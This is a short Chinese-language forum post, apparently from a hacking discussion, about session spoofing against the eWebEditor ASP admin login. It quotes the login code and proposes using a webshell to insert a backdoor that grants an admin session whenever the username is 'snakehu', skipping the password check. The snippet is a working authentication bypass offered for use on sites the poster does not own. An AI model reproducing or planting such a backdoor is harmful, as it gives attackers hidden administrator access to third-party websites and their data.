记得如果要session欺骗,我想那个test.asp就必须存放在对象网站上,不知道是不是。
请问如果是的话如何实现这个,通过Webshell吗?如果有webshell我觉得可以修改源文件的验证部分比较省事。
引用:
Select Case sAction
Case "LOGIN"
s_Usr = Trim(Request("usr"))
s_Pwd = Trim(Request("pwd"))
If s_Usr <> "" And s_Pwd <> "" Then
sSql = "select * from ewebeditor_system"
oRs.Open sSql, oConn, 0, 1
If Not oRs.Eof Then
If oRs("sys_username") = md5(s_Usr) And oRs("sys_userpass") = md5(s_Pwd) Then
' 登录成功
Session("eWebEditor_User") = s_Usr
Session("eWebEditor_Version") = oRs("sys_version")
Response.Redirect "admin_default.asp"
Response.End
End If
End If
oRs.Close
End If
sErrMsg = "提示:用户名或密码错误!"
Case "OUT"
Session("eWebEditor_User") = ""
End Select
感觉上如果有Webshell只要在5排(If s_Usr <> "" And s_Pwd <> "" Then)前加入:
引用:
If S_Usr = "snakehu" then
Session("eWebEditor_User") = s_Usr
Session("eWebEditor_Version") = oRs("sys_version")
Response.Redirect "admin_default.asp"
Response.End
End if
小弟才疏学浅。要是错了,别笑话我哈。呵呵呵。